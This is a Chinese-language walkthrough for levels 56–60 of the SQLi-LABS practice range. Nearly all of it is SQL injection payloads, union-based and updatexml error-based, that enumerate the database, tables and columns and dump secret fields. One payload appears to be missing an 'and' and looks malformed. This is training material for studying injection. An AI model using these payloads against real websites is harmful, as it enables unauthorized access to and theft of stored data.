SQLi-LABS靶场56-60通过攻略

第56关（单引号括号闭合）

查数据库

?id=-1') union select 1,database(),3 --+

查表

?id=-1') union select 1,(select table_name from information_schema.tables where table_schema=database()),3 --+

查字段

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='rnaxf8nzlp'),3 --+

查数据

?id=-1') union select 1,(select group_concat(id,sessid,secret_KZJB,tryy)from rnaxf8nzlp),3 --+

第57关（双引号闭合）

查库

?id=-1" union select 1,database(),3 --+

查表

?id=-1" union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+

查字段

?id=-1" union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='gfmyzgrq8v'),3 --+

查数据

?id=-1" union select 1,(select group_concat(id,sessid,secret_MOXR,tryy)from gfmyzgrq8v),3 --+

第58关（单引号闭合，报错注入）

查表

?id=1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3),3) --+

查字段

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() table_name='eavj19b9wf3'),0x7e),1) --+

第59关（报错注入）

这关和上一关一样，闭合方式为数字型闭合

第60关（双引号括号闭合报错注入）

查表

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

查字段

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='aojta7hn3'),0x7e),1)--+